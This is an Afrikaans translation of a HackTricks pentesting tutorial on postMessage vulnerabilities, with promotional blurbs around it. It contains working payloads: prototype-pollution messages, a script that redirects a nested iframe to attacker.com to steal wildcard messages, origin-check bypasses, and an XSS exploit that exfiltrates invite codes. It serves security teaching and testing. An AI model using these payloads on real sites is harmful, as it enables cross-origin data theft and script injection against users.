hacktricks/pentesting-web/postmessage-vulnerabilities
2024-04-18 04:05:40 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
bypassing-sop-with-iframes-1.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
bypassing-sop-with-iframes-2.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
README.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:05:40 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

PostMessage Kwesbaarhede

PostMessage Kwesbaarhede

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

WhiteIntel

WhiteIntel is 'n donker-web aangedrewe soekenjin wat gratis funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur diewe malware gekompromiteer is.

Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.

Jy kan hul webwerf besoek en hul enjin vir gratis probeer by:

{% embed url="https://whiteintel.io" %}


Stuur PostMessage

PostMessage gebruik die volgende funksie om 'n boodskap te stuur:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Merk op dat targetOrigin 'n '*' kan wees of 'n URL soos https://company.com.
In die tweede scenario kan die boodskap slegs na daardie domein gestuur word (selfs as die oorsprong van die vensterobjek verskil).
As die wildcard gebruik word, kan boodskappe na enige domein gestuur word, en sal gestuur word na die oorsprong van die vensterobjek.

Aanval op iframe & wildcard in targetOrigin

Soos verduidelik in hierdie verslag as jy 'n bladsy vind wat geïframe kan word (geen X-Frame-Header-beskerming nie) en wat sensitiewe boodskappe stuur via postMessage met 'n wildcard (*), kan jy die oorsprong van die iframe verander en die sensitiewe boodskap na 'n domein wat deur jou beheer word, lek.
Merk op dat as die bladsy geïframe kan word maar die targetOrigin is ingestel op 'n URL en nie op 'n wildcard nie, sal hierdie truc nie werk nie.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener uitbuiting

addEventListener is die funksie wat deur JS gebruik word om die funksie te verklaar wat postMessages verwag.
'n Kode soortgelyk aan die volgende een sal gebruik word:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Enumerasie

Om gebeurtenisluisteraars op die huidige bladsy te vind, kan jy:

  • Soek die JS-kode vir window.addEventListener en $(window).on (JQuery weergawe)
  • Uitvoer in die ontwikkelaarhulpmiddelskonsole: getEventListeners(window)

  • Gaan na Elemente --> Gebeurtenisluisteraars in die ontwikkelaarhulpmiddels van die blaaier

Oorsprongkontrole-omleidings

  • Die event.isTrusted eienskap word as veilig beskou omdat dit slegs True teruggee vir gebeurtenisse wat deur egte gebruikersaksies gegenereer word. Alhoewel dit uitdagend is om te omseil as dit korrek geïmplementeer is, is sy belangrikheid in sekuriteitskontroles merkwaardig.
  • Die gebruik van indexOf() vir oorsprongvalidering in PostMessage-gebeurtenisse kan vatbaar wees vir omseiling. 'n Voorbeeld wat hierdie kwesbaarheid illustreer is:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Die search() metode van String.prototype.search() is bedoel vir regulêre uitdrukkings, nie vir strings nie. Die deurgang van enigiets anders as 'n regexp lei tot implisiete omskakeling na regex, wat die metode potensieel onveilig maak. Dit is omdat in regex, 'n punt (.) as 'n jokerteken optree, wat omseiling van validering met spesiaal ontwerpte domeine moontlik maak. Byvoorbeeld:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Die match() funksie, soortgelyk aan search(), verwerk regex. As die regex nie korrek gestruktureer is nie, kan dit vatbaar wees vir omseiling.

  • Die escapeHtml funksie is bedoel om insette te saneer deur karakters te ontsnap. Dit skep egter nie 'n nuwe ontsnapte objek nie, maar oorskryf die eienskappe van die bestaande objek. Hierdie gedrag kan uitgebuit word. Veral as 'n objek gemanipuleer kan word sodat sy beheerde eienskap nie hasOwnProperty erken nie, sal die escapeHtml nie soos verwag optree nie. Dit word gedemonstreer in die voorbeelde hieronder:

  • Verwagte Mislukking:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Omseiling van die ontsnapping:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

In die konteks van hierdie kwesbaarheid is die File objek merkwaardig vatbaar vir uitbuiting as gevolg van sy skryfbeskermde name eienskap. Hierdie eienskap, wanneer in templaat gebruik, word nie deur die escapeHtml funksie gesaneer nie, wat tot potensiële sekuriteitsrisiko's kan lei.

  • Die document.domain eienskap in JavaScript kan deur 'n skripsie ingestel word om die domein te verkort, wat meer ontspanne selfde-oorsprongbeleidshandhawing binne dieselfde ouerdom toelaat.

e.origin == window.origin omseil

Wanneer 'n webbladsy binne 'n gesandboxte iframe ingebed word met %%%%%%, is dit belangrik om te verstaan dat die oorsprong van die iframe op nul gestel sal word. Dit is veral belangrik wanneer daar met sandbox-eienskappe gewerk word en hul implikasies vir sekuriteit en funksionaliteit.

Deur allow-popups in die sandbox-eienskap te spesifiseer, erf enige popup-venster wat van binne die iframe geopen word, die sandbox-beperkings van sy ouer. Dit beteken dat tensy die allow-popups-to-escape-sandbox eienskap ook ingesluit word, die oorsprong van die popup-venster ook op null gestel word, wat ooreenstem met die oorsprong van die iframe.

Gevolglik, wanneer 'n popup onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die popup gestuur word met behulp van postMessage, het beide die stuur- en ontvangsende punte hul oorsprong op null gestel. Hierdie situasie lei tot 'n scenario waar e.origin == window.origin as waar evalueer (null == null), omdat beide die iframe en die popup dieselfde oorsprongwaarde van null deel.

Vir meer inligting lees:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

Omseiling van e.source

Dit is moontlik om te kontroleer of die boodskap afkomstig is van dieselfde venster waarin die skripsie luister (veral interessant vir Inhoudskript van blaaieruitbreidings om te kontroleer of die boodskap van dieselfde bladsy gestuur is):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

Jy kan e.source van 'n boodskap dwing om nul te wees deur 'n iframe te skep wat die postMessage stuur en onmiddellik verwyder.

Vir meer inligting lees:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

X-Frame-Header omseil

Om hierdie aanvalle uit te voer, sal jy idealiter die slagoffer-webbladsy binne 'n iframe kan plaas. Maar sommige koppe soos X-Frame-Header kan daardie gedrag voorkom.
In daardie scenario's kan jy steeds 'n minder sluipende aanval gebruik. Jy kan 'n nuwe lêer na die kwesbare webtoepassing oopmaak en daarmee kommunikeer:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Steel boodskap gestuur aan kind deur die hoofbladsy te blokkeer

Op die volgende bladsy kan jy sien hoe jy 'n sensitiewe postmessage data gestuur aan 'n kind iframe kan steel deur die hoof bladsy te blokkeer voordat die data gestuur word en 'n XSS in die kind te misbruik om die data te lek voordat dit ontvang word:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Steel boodskap deur die iframe se ligging te wysig

As jy 'n webbladsy kan iframe sonder 'n X-Frame-Header wat 'n ander iframe bevat, kan jy die ligging van daardie kind iframe verander, sodat as dit 'n postmessage ontvang wat met 'n wildcard gestuur is, kan 'n aanvaller daardie iframe se oorsprong na 'n bladsy beheer deur hom verander en die boodskap steel:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage na Prototipe Besoedeling en/of XSS

In scenario's waar die data gestuur deur postMessage deur JS uitgevoer word, kan jy die bladsy iframe en die prototipe besoedeling/XSS uitbuit deur die aanval via postMessage te stuur.

'n Paar baie goed verduidelikte XSS deur postMessage kan gevind word op https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Voorbeeld van 'n aanval om Prototipe Besoedeling en dan XSS te misbruik deur 'n postMessage na 'n iframe te stuur:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Vir meer inligting:

Verwysings

WhiteIntel

WhiteIntel is 'n donker-web aangedrewe soekenjin wat gratis funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur diefstal malware gekompromiteer is.

Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse aanvalle te beveg wat voortspruit uit inligtingsteel malware.

Jy kan hul webwerf besoek en hul enjin gratis probeer by:

{% embed url="https://whiteintel.io" %}

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: